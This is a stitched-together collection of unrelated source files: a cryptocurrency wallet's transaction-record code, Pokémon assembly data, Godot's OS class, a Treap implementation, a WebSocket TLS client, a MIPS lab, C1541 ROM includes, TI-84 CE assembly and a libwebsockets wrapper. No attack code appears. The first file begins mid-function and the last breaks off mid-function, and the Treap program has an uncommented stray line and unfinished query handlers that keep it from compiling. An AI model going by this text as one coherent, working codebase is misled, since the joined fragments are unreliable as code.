// Sent to IP, or other non-address transaction like OP_EVAL sub.address = mapValue["to"]; } } else { for (unsigned int nOut = 0; nOut < wtx.tx->vout.size(); nOut++) { const CTxOut& txout = wtx.tx->vout[nOut]; sub.idx = parts.size(); if(txout.nValue == CPrivateSend::GetMaxCollateralAmount()) sub.type = TransactionRecord::PrivateSendMakeCollaterals; if(CPrivateSend::IsDenominatedAmount(txout.nValue)) sub.type = TransactionRecord::PrivateSendCreateDenominations; if(nDebit - wtx.tx->GetValueOut() == CPrivateSend::GetCollateralAmount()) sub.type = TransactionRecord::PrivateSendCollateralPayment; } } CAmount nChange = wtx.GetChange(); sub.debit = -(nDebit - nChange); sub.credit = nCredit - nChange; parts.append(sub); parts.last().involvesWatchAddress = involvesWatchAddress; // maybe pass to TransactionRecord as constructor argument } else if (fAllFromMe) { // // Debit // CAmount nTxFee = nDebit - wtx.tx->GetValueOut(); for (unsigned int nOut = 0; nOut < wtx.tx->vout.size(); nOut++) { const CTxOut& txout = wtx.tx->vout[nOut]; TransactionRecord sub(hash, nTime); sub.idx = nOut; sub.involvesWatchAddress = involvesWatchAddress; if(wallet->IsMine(txout)) { // Ignore parts sent to self, as this is usually the change // from a transaction sent back to our own address. continue; } CTxDestination address; if (ExtractDestination(txout.scriptPubKey, address)) { // Sent to Billiecoin Address sub.type = TransactionRecord::SendToAddress; sub.address = CBilliecoinAddress(address).ToString(); } else { // Sent to IP, or other non-address transaction like OP_EVAL sub.type = TransactionRecord::SendToOther; sub.address = mapValue["to"]; } if(mapValue["DS"] == "1") { sub.type = TransactionRecord::PrivateSend; } CAmount nValue = txout.nValue; /* Add fee to first output */ if (nTxFee > 0) { nValue += nTxFee; nTxFee = 0; } sub.debit = -nValue; parts.append(sub); } } else { // // Mixed debit transaction, can't break down payees // parts.append(TransactionRecord(hash, nTime, TransactionRecord::Other, "", nNet, 0)); parts.last().involvesWatchAddress = involvesWatchAddress; } } return parts; } void TransactionRecord::updateStatus(const CWalletTx &wtx) { AssertLockHeld(cs_main); // Determine transaction status // Find the block the tx is in CBlockIndex* pindex = NULL; BlockMap::iterator mi = mapBlockIndex.find(wtx.hashBlock); if (mi != mapBlockIndex.end()) pindex = (*mi).second; // Sort order, unrecorded transactions sort to the top status.sortKey = strprintf("%010d-%01d-%010u-%03d", (pindex ? pindex->nHeight : std::numeric_limits<int>::max()), (wtx.IsCoinBase() ? 1 : 0), wtx.nTimeReceived, idx); status.countsForBalance = wtx.IsTrusted() && !(wtx.GetBlocksToMaturity() > 0); status.depth = wtx.GetDepthInMainChain(); status.cur_num_blocks = chainActive.Height(); status.cur_num_ix_locks = nCompleteTXLocks; if (!CheckFinalTx(*wtx.tx)) { if (wtx.tx->nLockTime < LOCKTIME_THRESHOLD) { status.status = TransactionStatus::OpenUntilBlock; status.open_for = wtx.tx->nLockTime - chainActive.Height(); } else { status.status = TransactionStatus::OpenUntilDate; status.open_for = wtx.tx->nLockTime; } } // For generated transactions, determine maturity else if(type == TransactionRecord::Generated) { if (wtx.GetBlocksToMaturity() > 0) { status.status = TransactionStatus::Immature; if (wtx.IsInMainChain()) { status.matures_in = wtx.GetBlocksToMaturity(); // Check if the block was requested by anyone if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0) status.status = TransactionStatus::MaturesWarning; } else { status.status = TransactionStatus::NotAccepted; } } else { status.status = TransactionStatus::Confirmed; } } else { status.lockedByInstantSend = wtx.IsLockedByInstantSend(); if (status.depth < 0) { status.status = TransactionStatus::Conflicted; } else if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0) { status.status = TransactionStatus::Offline; } else if (status.depth == 0) { status.status = TransactionStatus::Unconfirmed; if (wtx.isAbandoned()) status.status = TransactionStatus::Abandoned; } else if (status.depth < RecommendedNumConfirmations) { status.status = TransactionStatus::Confirming; } else { status.status = TransactionStatus::Confirmed; } } } bool TransactionRecord::statusUpdateNeeded() { AssertLockHeld(cs_main); return status.cur_num_blocks != chainActive.Height() || status.cur_num_ix_locks != nCompleteTXLocks; } QString TransactionRecord::getTxID() const { return QString::fromStdString(hash.ToString()); } int TransactionRecord::getOutputIndex() const { return idx; }
db 0 ; species ID placeholder db 61, 90, 45, 160, 50, 50 ; hp atk def spd sat sdf db BUG, FLYING ; type db 120 ; catch rate db 155 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 15 ; step cycles to hatch INCBIN "gfx/pokemon/ninjask/front.dimensions" db GROWTH_ERRATIC ; growth rate dn EGG_BUG, EGG_BUG ; egg groups db 70 ; happiness ; tm/hm learnset tmhm TOXIC, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, PROTECT, GIGA_DRAIN, FRUSTRATION, SOLARBEAM, RETURN, DIG, SHADOW_BALL, DOUBLE_TEAM, SANDSTORM, AERIAL_ACE, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, ROOST, FALSE_SWIPE, ENDURE, SILVER_WIND, GIGA_IMPACT, FLASH, SWORDS_DANCE, CAPTIVATE, X_SCISSOR, SLEEP_TALK, NATURAL_GIFT, SWAGGER, U_TURN, SUBSTITUTE, CUT, DEFOG, AIR_CUTTER, FURY_CUTTER, MUD_SLAP, OMINOUS_WIND, SNORE, SPITE, SWIFT, UPROAR ; end
/*************************************************************************/ /* os.cpp */ /*************************************************************************/ /* This file is part of: */ /* GODOT ENGINE */ /* http://www.godotengine.org */ /*************************************************************************/ /* Copyright (c) 2007-2014 Juan Linietsky, Ariel Manzur. */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #include "os.h" #include "os/file_access.h" #include <stdarg.h> #include "dir_access.h" #include "globals.h" OS* OS::singleton=NULL; OS* OS::get_singleton() { return singleton; } uint32_t OS::get_ticks_msec() const { return get_ticks_usec()/1000; } uint64_t OS::get_unix_time() const { return 0; }; void OS::debug_break() { // something }; void OS::print_error(const char* p_function,const char* p_file,int p_line,const char *p_code,const char*p_rationale,ErrorType p_type) { if (p_rationale && *p_rationale) print("**ERROR**: %s\n ",p_rationale); print("**ERROR**: At: %s:%i:%s() - %s\n",p_file,p_line,p_function,p_code); } void OS::print(const char* p_format, ...) { va_list argp; va_start(argp, p_format); vprint(p_format, argp); va_end(argp); }; void OS::printerr(const char* p_format, ...) { va_list argp; va_start(argp, p_format); vprint(p_format, argp, true); va_end(argp); }; void OS::set_iterations_per_second(int p_ips) { ips=p_ips; } int OS::get_iterations_per_second() const { return ips; } void OS::set_target_fps(int p_fps) { _target_fps=p_fps>0? p_fps : 0; } float OS::get_target_fps() const { return _target_fps; } void OS::set_low_processor_usage_mode(bool p_enabled) { low_processor_usage_mode=p_enabled; } bool OS::is_in_low_processor_usage_mode() const { return low_processor_usage_mode; } void OS::set_clipboard(const String& p_text) { _local_clipboard=p_text; } String OS::get_clipboard() const { return _local_clipboard; } String OS::get_executable_path() const { return _execpath; } int OS::get_process_ID() const { return -1; }; uint64_t OS::get_frames_drawn() { return frames_drawn; } bool OS::is_stdout_verbose() const { return _verbose_stdout; } void OS::set_last_error(const char* p_error) { GLOBAL_LOCK_FUNCTION if (p_error==NULL) p_error="Unknown Error"; if (last_error) memfree(last_error); last_error=NULL; int len =0; while(p_error[len++]); last_error=(char*)memalloc(len); for(int i=0;i<len;i++) last_error[i]=p_error[i]; } const char *OS::get_last_error() const { GLOBAL_LOCK_FUNCTION return last_error?last_error:""; } void OS::dump_memory_to_file(const char* p_file) { Memory::dump_static_mem_to_file(p_file); } static FileAccess *_OSPRF=NULL; static void _OS_printres(Object *p_obj) { Resource *res = p_obj->cast_to<Resource>(); if (!res) return; String str = itos(res->get_instance_ID())+String(res->get_type())+":"+String(res->get_name())+" - "+res->get_path(); if (_OSPRF) _OSPRF->store_line(str); else print_line(str); } bool OS::has_virtual_keyboard() const { return false; } void OS::show_virtual_keyboard(const String& p_existing_text,const Rect2& p_screen_rect) { } void OS::hide_virtual_keyboard(){ } void OS::print_all_resources(String p_to_file) { ERR_FAIL_COND(p_to_file!="" && _OSPRF); if (p_to_file!="") { Error err; _OSPRF=FileAccess::open(p_to_file,FileAccess::WRITE,&err); if (err!=OK) { _OSPRF=NULL; ERR_FAIL_COND(err!=OK); } } ObjectDB::debug_objects(_OS_printres); if (p_to_file!="") { if (_OSPRF) memdelete(_OSPRF); _OSPRF=NULL; } } void OS::print_resources_in_use(bool p_short) { ResourceCache::dump(NULL,p_short); } void OS::dump_resources_to_file(const char* p_file) { ResourceCache::dump(p_file); } void OS::clear_last_error() { GLOBAL_LOCK_FUNCTION if (last_error) memfree(last_error); last_error=NULL; } void OS::set_frame_delay(uint32_t p_msec) { _frame_delay=p_msec; } uint32_t OS::get_frame_delay() const { return _frame_delay; } void OS::set_no_window_mode(bool p_enable) { _no_window=p_enable; } bool OS::is_no_window_mode_enabled() const { return _no_window; } int OS::get_exit_code() const { return _exit_code; } void OS::set_exit_code(int p_code) { _exit_code=p_code; } String OS::get_locale() const { return "en"; } String OS::get_resource_dir() const { return Globals::get_singleton()->get_resource_path(); } String OS::get_system_dir(SystemDir p_dir) const { return "."; } String OS::get_data_dir() const { return "."; }; Error OS::shell_open(String p_uri) { return ERR_UNAVAILABLE; }; // implement these with the canvas? Error OS::dialog_show(String p_title, String p_description, Vector<String> p_buttons, Object* p_obj, String p_callback) { while (true) { print("%ls\n--------\n%ls\n", p_title.c_str(), p_description.c_str()); for (int i=0; i<p_buttons.size(); i++) { if (i>0) print(", "); print("%i=%ls", i+1, p_buttons[i].c_str()); }; print("\n"); String res = get_stdin_string().strip_edges(); if (!res.is_numeric()) continue; int n = res.to_int(); if (n < 0 || n >= p_buttons.size()) continue; if (p_obj && p_callback != "") p_obj->call_deferred(p_callback, n); break; }; return OK; }; Error OS::dialog_input_text(String p_title, String p_description, String p_partial, Object* p_obj, String p_callback) { ERR_FAIL_COND_V(!p_obj, FAILED); ERR_FAIL_COND_V(p_callback == "", FAILED); print("%ls\n---------\n%ls\n[%ls]:\n", p_title.c_str(), p_description.c_str(), p_partial.c_str()); String res = get_stdin_string().strip_edges(); bool success = true; if (res == "") { res = p_partial; }; p_obj->call_deferred(p_callback, success, res); return OK; }; int OS::get_static_memory_usage() const { return Memory::get_static_mem_usage(); } int OS::get_dynamic_memory_usage() const{ return Memory::get_dynamic_mem_usage(); } int OS::get_static_memory_peak_usage() const { return Memory::get_static_mem_max_usage(); } Error OS::set_cwd(const String& p_cwd) { return ERR_CANT_OPEN; } bool OS::has_touchscreen_ui_hint() const { //return false; return GLOBAL_DEF("display/emulate_touchscreen",false); } int OS::get_free_static_memory() const { return Memory::get_static_mem_available(); } void OS::yield() { } void OS::set_screen_orientation(ScreenOrientation p_orientation) { _orientation=p_orientation; } OS::ScreenOrientation OS::get_screen_orientation() const { return (OS::ScreenOrientation)_orientation; } void OS::_ensure_data_dir() { String dd = get_data_dir(); DirAccess *da = DirAccess::open(dd); if (da) { memdelete(da); return; } da = DirAccess::create(DirAccess::ACCESS_FILESYSTEM); Error err = da->make_dir_recursive(dd); if (err!=OK) { ERR_EXPLAIN("Error attempting to create data dir: "+dd); } ERR_FAIL_COND(err!=OK); memdelete(da); } void OS::set_icon(const Image& p_icon) { } String OS::get_model_name() const { return "GenericDevice"; } void OS::set_cmdline(const char* p_execpath, const List<String>& p_args) { _execpath = p_execpath; _cmdline = p_args; }; void OS::release_rendering_thread() { } void OS::make_rendering_thread() { } void OS::swap_buffers() { } String OS::get_unique_ID() const { ERR_FAIL_V(""); } int OS::get_processor_count() const { return 1; } Error OS::native_video_play(String p_path, float p_volume, String p_audio_track, String p_subtitle_track) { return FAILED; }; bool OS::native_video_is_playing() const { return false; }; void OS::native_video_pause() { }; void OS::native_video_stop() { }; void OS::set_mouse_mode(MouseMode p_mode) { } bool OS::can_use_threads() const { #ifdef NO_THREADS return false; #else return true; #endif } OS::MouseMode OS::get_mouse_mode() const{ return MOUSE_MODE_VISIBLE; } void OS::set_time_scale(float p_scale) { _time_scale=p_scale; } float OS::get_time_scale() const { return _time_scale; } OS::OS() { last_error=NULL; frames_drawn=0; singleton=this; ips=60; low_processor_usage_mode=false; _verbose_stdout=false; _frame_delay=0; _no_window=false; _exit_code=0; _orientation=SCREEN_LANDSCAPE; _fps=1; _target_fps=0; _render_thread_mode=RENDER_THREAD_SAFE; _time_scale=1.0; Math::seed(1234567); } OS::~OS() { singleton=NULL; }
/* */ #include <bits/stdc++.h> using namespace std; #define IOS ios::sync_with_stdio(0); cin.tie(0); cout.tie(0); #define endl "\n" mt19937 rng(chrono::steady_clock::now().time_since_epoch().count()); int getRand(int l, int r) { uniform_int_distribution<int> uid(l, r); return uid(rng); } struct Treap { struct data { int priority, val, cnt; data *l, *r; data() { val = 0, cnt = 0, l = NULL, r = NULL; } data (int _val) { val = _val, cnt = 1; l = NULL, r = NULL; priority = getRand(1, 2e9); } }; typedef struct data* node; node head; Treap(): head(0) {} int cnt(node cur) { return cur ? cur->cnt : 0; } void updateCnt(node cur) { if(cur) cur->cnt = cnt(cur->l) + cnt(cur->r) + 1; } void push(node cur) //Lazy Propagation { ; } void combine(node &cur, node l, node r) { if(!l) { cur = r; return; } if(!r) { cur = l; return; } //Merge Operations like in segment tree } void reset(node &cur) //To reset other fields of cur except value and cnt { if(!cur) return; } void operation(node &cur) { if(!cur) return; reset(cur); combine(cur, cur->l, cur); combine(cur, cur, cur->r); } void splitPos(node cur, node &l, node &r, int k, int add = 0) { if(!cur) return void(l = r = 0); push(cur); int idx = add + cnt(cur->l); if(idx <= k) splitPos(cur->r, cur->r, r, k, idx + 1), l = cur; else splitPos(cur->l, l, cur->l, k, add), r = cur; updateCnt(cur); operation(cur); } void split(node cur, node &l, node &r, int k) { if(!cur) return void(l = r = 0); push(cur); int idx = cur -> val; if(idx <= k) split(cur->r, cur->r, r, k), l = cur; else split(cur->l, l, cur->l, k), r = cur; updateCnt(cur); operation(cur); } void merge(node &cur, node l, node r) { push(l); push(r); if(!l || !r) cur = l ? l : r; else if(l->priority > r->priority) merge(l->r, l->r, r), cur = l; else merge(r->l, l, r->l), cur = r; updateCnt(cur); operation(cur); } void insert(int val) { if(!head) { head = new data(val); return; } node l, r, mid, mid2, rr; mid = new data(val); split(head, l, r, val - 1); merge(l, l, mid); split(r, mid2, rr, val); merge(head, l, rr); } void erase(int val) { node l, r, mid; split(head, l, r, val - 1); split(r, mid, r, val); merge(head, l, r); } void inorder(node cur) { if(!cur) return; push(cur); inorder(cur->l); cout<<cur->val<<" "; inorder(cur->r); } void inorder() { inorder(head); cout<<endl; } void clear(node cur) { if(!cur) return; clear(cur->l), clear(cur->r); delete cur; } void clear() { clear(head); } int find_by_order(int x) //1 indexed { if(!x) return -1; x--; node l, r, mid; splitPos(head, l, r, x - 1); splitPos(r, mid, r, 0); int ans = -1; if(cnt(mid) == 1) ans = mid->val; merge(r, mid, r); merge(head, l, r); return ans; } int order_of_key(int val) //1 indexed { node l, r, mid; split(head, l, r, val - 1); split(r, mid, r, val); int ans = -1; if(cnt(mid)== 1) ans = 1+cnt(l); merge(r, mid, r); merge(head, l, r); return ans; } }; int32_t main() { IOS; Treap t; int n,rem=0; cin >> n; set<int> st; while(n--) { int num; char query; cin >> query >> num; if(query == 'I') { //insert query } if(query == 'D') { //delete query } if(query == 'K') { //kth samllest elem } if(query == 'C') { no. of elems before c in treap } } return 0; }
#ifndef CLIENT_WSS_HPP #define CLIENT_WSS_HPP #include "client_ws.hpp" #include <boost/asio/ssl.hpp> namespace SimpleWeb { typedef boost::asio::ssl::stream<boost::asio::ip::tcp::socket> WSS; template<> class SocketClient<WSS> : public SocketClientBase<WSS> { public: SocketClient(const std::string& server_port_path, bool verify_certificate=true, const std::string& cert_file=std::string(), const std::string& private_key_file=std::string(), const std::string& verify_file=std::string()) : SocketClientBase<WSS>::SocketClientBase(server_port_path, 443), asio_context(boost::asio::ssl::context::sslv23) { if(verify_certificate) asio_context.set_verify_mode(boost::asio::ssl::verify_peer); else asio_context.set_verify_mode(boost::asio::ssl::verify_none); if(cert_file.size()>0 && private_key_file.size()>0) { asio_context.use_certificate_chain_file(cert_file); asio_context.use_private_key_file(private_key_file, boost::asio::ssl::context::pem); } if(verify_file.size()>0) asio_context.load_verify_file(verify_file); }; private: boost::asio::ssl::context asio_context; void connect() { boost::asio::ip::tcp::resolver::query query(host, std::to_string(port)); asio_resolver.async_resolve(query, [this] (const boost::system::error_code &ec, boost::asio::ip::tcp::resolver::iterator it){ if(!ec) { connection=std::shared_ptr<Connection>(new Connection(new WSS(asio_io_service, asio_context))); boost::asio::async_connect(connection->socket->lowest_layer(), it, [this] (const boost::system::error_code &ec, boost::asio::ip::tcp::resolver::iterator it){ if(!ec) { connection->socket->async_handshake(boost::asio::ssl::stream_base::client, [this](const boost::system::error_code& ec) { if(!ec) handshake(); else throw std::invalid_argument(ec.message()); }); } else throw std::invalid_argument(ec.message()); }); } else throw std::invalid_argument(ec.message()); }); } }; } #endif /* CLIENT_WSS_HPP */
# Lab 5 # Bit Manipulation (sb-exp-man) -> (man-exp-sb) # lab lab .text main: li $v0, 5 syscall move $a0, $v0 srl $t0, $a0, 31 #sb sll $t1, $a0, 9 #man sll $t2, $a0, 1 andi $t2, $t2, 0xff800000 srl $t2, $t2, 23 #exp or $a0, $t0, $t1 or $a0, $a0, $t2 li $v0, 1 syscall li $v0, 10 syscall
; C1541 ROM source, Soci/Singular NODRRD .macro ; read nodrv,x absolute .byte $bd,$ff,$00 .endm NODRWR .macro ; write nodrv,x absolute .byte $9d,$ff,$00 .endm *=$c000 .fill $4000,$aa .include "equate.asm" .include "iodef.asm" .include "lccio.asm" .include "ramvar.asm" .include "romsf.asm" .include "leds.asm" .include "parsex.asm" .include "setdrv.asm" .include "lookup.asm" .include "trnsfr.asm" .include "scrtch.asm" .include "duplct.asm" .include "copset.asm" .include "copall.asm" .include "copy.asm" .include "rename.asm" .include "memrw.asm" .include "block.asm" .include "fndrel.asm" .include "tst2.asm" .include "tst3.asm" .include "tst4.asm" .include "jobssf.asm" .include "addfil.asm" .include "open.asm" .include "close.asm" .include "opnchnl.asm" .include "tstflg.asm" .include "tsutil.asm" .include "ssutil.asm" .include "sstest.asm" .include "getact.asm" .include "rel1.asm" .include "rel2.asm" .include "rel3.asm" .include "rel4.asm" .include "ssend.asm" .include "record.asm" .include "nulbuf.asm" .include "addrel.asm" .include "newss.asm" .include "erproc.asm" .include "utlodr.asm" .include "sieee.asm" .include "dskintsf.asm" .include "idlesf.asm" .include "lstdir.asm" .include "verdir.asm" .include "new.asm" .include "map.asm" .include "frets.asm" .include "bamutl.asm" .include "tstfnd.asm" .include "system.asm" .include "lccinit.asm" .include "lcccntrl.asm" .include "lccseek.asm" .include "lccread.asm" .include "lccwrt.asm" .include "lccbingc.asm" .include "lccgcrbi.asm" .include "lccconhd.asm" .include "lccutil.asm" .include "lccend.asm" .include "lccfmt1.asm" .include "lccfmt2.asm" .include "lccfmt3.asm" .include "lccfmt4.asm" .include "irq.asm" .include "romtblsf.asm" .include "patch.asm" .include "vects.asm"
;------------------------------------- ; fdetect ; detects appvars, prot progs, and ; progs given a 0-terminated string ; pointed to by ix. ;------------------------------------- ; INPUTS: ; hl->place to start searching ; ix->string to find ; ; OUTPUTS: ; hl->place stopped searching ; de->program data ; bc=program size ; OP1 contains the name and type byte ; z flag set if found ;------------------------------------- fdetect: ld de,(ptemp) call _cphlde ld a,(hl) ld (typeByte_SMC),a jr nz,fcontinue inc a ret fcontinue: push hl cp a,appVarObj jr z,fgoodtype cp a,protProgObj jr z,fgoodtype cp a,progObj jr nz,fskip fgoodtype: dec hl dec hl dec hl ld e,(hl) dec hl ld d,(hl) dec hl ld a,(hl) call _SetDEUToA push de pop hl cp a,$d0 jr nc,finRAM push ix push de push hl pop ix ld a,10 add a,(ix+9) ld de,0 ld e,a add hl,de ex (sp),hl add hl,de pop de ex de,hl pop ix finRAM: inc de inc de ld bc,0 ld c,(hl) inc hl ld b,(hl) inc hl ; hl -> data push bc ; bc = size push ix pop bc fchkstr: ld a,(bc) or a,a jr z,ffound cp (hl) inc bc inc de inc hl jr z,fchkstr pop bc fskip: pop hl call fbypassname jr fdetect ffound: push bc pop hl push ix pop bc or a,a sbc hl,bc push hl pop bc pop hl ; size or a,a sbc hl,bc push hl pop bc pop hl ; current search location push bc call fbypassname pop bc xor a,a ret fbypassname: push de ld bc,-6 add hl,bc ld de,OP1 push de ld b,(hl) ; Name to OP1 inc b fbypassnameloop: ld a,(hl) ld (de),a inc de dec hl djnz fbypassnameloop xor a,a ld (de),a typeByte_SMC: =$+1 ld a,15h pop de ld (de),a pop de ret LoadFile: or a,a sbc hl,hl push hl pop de ld a,(selFile) ld l,a ld e,a add hl,hl add hl,de ld de,fileLocations add hl,de push hl pop ix ld hl,(ix) push de push bc ld ix,progSearchHeader call fdetect push bc pop hl ld bc,-20 add hl,bc push hl pop bc ex de,hl ld de,fileName push bc ld bc,20 ldir pop bc xor a,a ld (de),a ld de,safeMem push de ldir ex de,hl ld (hl),0 drawFilledRect(20,0,320,20) changeFGColor(0FFh) changeBGColor(04Ah) print(fileName,20,5) changeFGColor(04Ah) changeBGColor(0FFh) call makefileunarchived ex de,hl ld de,20 add hl,de ; bypass name ld (savePtr),hl ; this is the location you will want to ldir to ld bc,0 ld a,(hl) or a,a ; check and see if the file size is 0. jr z,+_ xor a,a call StrLngth _: call _SetBCUTo0 ld (originalsize),bc push bc pop hl call _ChkFindSym ld (sizePtr),de ; for changing the size of the appvar pop hl ; okay... So need to bypass the name pop bc pop de ret getFileLoc: or a,a sbc hl,hl push hl pop de ld a,(selFile) ld l,a ld e,a add hl,hl add hl,de ld de,fileLocations add hl,de push hl pop ix ld hl,(ix) ld ix,progSearchHeader call fdetect ret makeFileUnarchived: call getFileLoc call _ChkFindSym call _ChkInRam jr z,InRam call _Arc_Unarc InRam: jp getFileLoc makeFileArchived: call getFileLoc call _ChkFindSym call _ChkInRam ret nz jp _Arc_Unarc SaveFile: ld hl,(savePtr) ; pointer to insert ld de,(originalsize) ; original size -> DE call _ChkDEIs0 ; check if size == 0 jr z,+_ call _DelMem ; erase all the old stuff _: ld bc,0 ld hl,safeMem ld a,(hl) ; check and see if the file is empty or a,a jr z,+_ xor a,a call StrLngth ; get the length of the file push bc ; save file length (for copying) push bc pop hl ld de,(savePtr) call _InsertMem ; insert memory for the new stuff pop bc _: push bc ld de,(originalsize) ; bc = newSize to add/subtract, de=oldSize 0-5=-5 5-0=5 therefore, need to do newSize-OldSize and take absolute value push bc pop hl ; hl = newSize, de=oldSize or a,a sbc hl,de push hl ; hl = size to change by ld hl,(sizePtr) call _LoadDEInd_s ; de = size of file pop hl add hl,de ld de,(sizePtr) ld a,l ld (de),a ld a,h inc de ld (de),a pop bc ; wait... If this is 0, it's going to crash. call _ChkBCIs0 jr z,+_ ld de,(savePtr) ld hl,safeMem ldir ; copy it in _: set saved,(iy+txtFlgs) Jump_SMC: =$+1 jp ReturnHere
/* author: Ilya Andronov <sni4ok@yandex.ru> */ #include "alco.hpp" #include "evie/profiler.hpp" #include <libwebsockets.h> #include <sys/stat.h> #include <fcntl.h> struct lws_dump { int hfile; bool lws_not_fake, lws_dump_en; lws_dump() : hfile(), lws_not_fake(true), lws_dump_en(), dump_buf("\n \n") { char* dump = getenv("lws_dump"); char* fake = getenv("lws_fake"); if(dump && fake) throw std::runtime_error("lws_dump and lws_fake not works together"); if(dump) { lws_dump_en = true; hfile = ::open(dump, O_WRONLY | O_CREAT | O_APPEND, S_IWRITE | S_IREAD | S_IRGRP | S_IWGRP); if(hfile < 0) throw_system_failure(es() % "lws_dump() open file " % _str_holder(dump) % " error"); mlog() << "lws_dump to " << _str_holder(dump) << " enabled"; } if(fake) { lws_not_fake = false; hfile = ::open(fake, O_RDONLY); if(hfile < 0) throw_system_failure(es() % "lws_fake() open file " % _str_holder(fake) % " error"); dump_readed = 0; struct stat st; if(::fstat(hfile, &st)) throw_system_failure("fstat() error"); dump_size = st.st_size; } } char dump_buf[8]; void dump(const char* p, uint32_t sz) { if(sz) { memcpy(dump_buf + 1, &sz, sizeof(sz)); if(::write(hfile, dump_buf, 6) != 6) throw_system_failure("lws_dump writing error"); if(::write(hfile, p, sz) != sz) throw_system_failure("lws_dump writing error"); } } std::vector<char> read_buf; uint64_t dump_readed, dump_size; str_holder read_dump() { if(dump_readed < dump_size) { if(::read(hfile, dump_buf, 6) != 6) throw_system_failure("lws_dump reading error"); uint32_t sz; memcpy(&sz, dump_buf + 1, sizeof(sz)); read_buf.resize(sz); if(dump_buf[0] != '\n' || dump_buf[5] != '\n' || ::read(hfile, &read_buf[0], sz) != sz) throw_system_failure("lws_dump reading error"); dump_readed += (sz + 6); return str_holder(&read_buf[0], sz); } return str_holder(nullptr, 0); } ~lws_dump() { if(hfile) ::close(hfile); } }; struct lws_impl : emessages, lws_dump, stack_singleton<lws_impl> { char buf[512]; buf_stream bs; typedef const char* iterator; bool closed; time_t data_time; std::vector<std::string> subscribes; lws_impl() : emessages(config::instance().push), bs(buf, buf + sizeof(buf) - 1), closed(), data_time(time(NULL)) { bs.resize(LWS_PRE); } void init(lws* wsi) { if(likely(lws_not_fake)) for(auto& s: subscribes) { bs << s; send(wsi); } } void send(lws* wsi) { if(lws_not_fake && bs.size() != LWS_PRE) { int sz = bs.size() - LWS_PRE; char* ptr = bs.from + LWS_PRE; if(config::instance().log_lws) mlog() << "lws_write " << str_holder(ptr, sz); int n = lws_write(wsi, (unsigned char*)ptr, sz, LWS_WRITE_TEXT); if(unlikely(sz != n)) throw std::runtime_error(es() % "lws_write ret: " % n % ", sz: " % sz); } bs.resize(LWS_PRE); } ~lws_impl() { try { if(lws_not_fake) lws_context_destroy(context); } catch (std::exception& e) { mlog() << "~lws_impl() " << e; } } lws_context* context; }; template<typename str> inline void skip_fixed(const char* &it, const str& v) { static_assert(std::is_array<str>::value); bool eq = std::equal(it, it + sizeof(v) - 1, v); //bool eq = !(strncmp(it, v, sizeof(v) - 1)); //bool eq = !(memcmp(it, v, sizeof(v) - 1)); if(unlikely(!eq)) throw std::runtime_error(es() % "skip_fixed error, expect: |" % str_holder(v) % "| in |" % str_holder(it, strnlen(it, 100)) % "|"); it += sizeof(v) - 1; } template<typename str> inline void search_and_skip_fixed(const char* &it, const char* ie, const str& v) { static_assert(std::is_array<str>::value); const char* i = std::search(it, ie, v, v + (sizeof(v) - 1)); if(unlikely(i == ie)) throw std::runtime_error(es() % "search_and_skip_fixed error, expect: |" % str_holder(v) % "| in |" % str_holder(it, ie - it) % "|"); it = i + (sizeof(v) - 1); } template<typename str> inline bool skip_if_fixed(const char* &it, const str& v) { static_assert(std::is_array<str>::value); bool eq = std::equal(it, it + sizeof(v) - 1, v); //bool eq = !(strncmp(it, v, sizeof(v) - 1)); //bool eq = !(memcmp(it, v, sizeof(v) - 1)); if(eq) it += sizeof(v) - 1; return eq; } template<typename lws_w> int lws_event_cb(lws* wsi, enum lws_callback_reasons reason, void* user, void* in, size_t len) { switch (reason) { case LWS_CALLBACK_CLIENT_ESTABLISHED: { mlog() << "lws connection established"; ((lws_w*)user)->init(wsi); break; } case LWS_CALLBACK_CLIENT_RECEIVE: { lws_w* w = (lws_w*)user; if(unlikely(w->lws_dump_en)) w->dump((const char*)in, len); if(unlikely(config::instance().log_lws)) mlog() << "lws receive len: " << len; w->proceed(wsi, in, len); w->data_time = time(NULL); return 0; } case LWS_CALLBACK_CLIENT_CLOSED: { mlog() << "lws closed"; ((lws_w*)user)->closed = true; return -1; } case LWS_CALLBACK_CLIENT_CONNECTION_ERROR: { ((lws_w*)user)->closed = true; mlog() << "lws closed..."; return 1; } default: { if(unlikely(config::instance().log_lws)) mlog() << "lws callback: " << int(reason) << ", len: " << len; break; } } return 0; } template<typename lws_w> lws_context* create_context(const char* ssl_ca_file = 0) { int logs = LLL_ERR | LLL_WARN ; lws_set_log_level(logs, NULL); lws_context_creation_info info; memset(&info, 0, sizeof (info)); info.port = CONTEXT_PORT_NO_LISTEN; lws_protocols protocols[] = { {"example-protocol", &lws_event_cb<lws_w>, 0, 4096 * 1000, 0, 0, 0}, lws_protocols() }; info.protocols = protocols; info.gid = -1; info.uid = -1; info.options |= LWS_SERVER_OPTION_DO_SSL_GLOBAL_INIT; if(ssl_ca_file) info.client_ssl_ca_filepath = ssl_ca_file; lws_context* context = lws_create_context(&info); if(!context) throw std::runtime_error("lws_create_context error"); return context; } template<typename lws_w> void proceed_lws_parser_fake(volatile bool& can_run) { mlog() << "parser started in fake mode, from " << _str_holder(getenv("lws_fake")); lws_w ls; for(;can_run;) { str_holder str = ls.read_dump(); if(str.size) { MPROFILE("lws_fake") 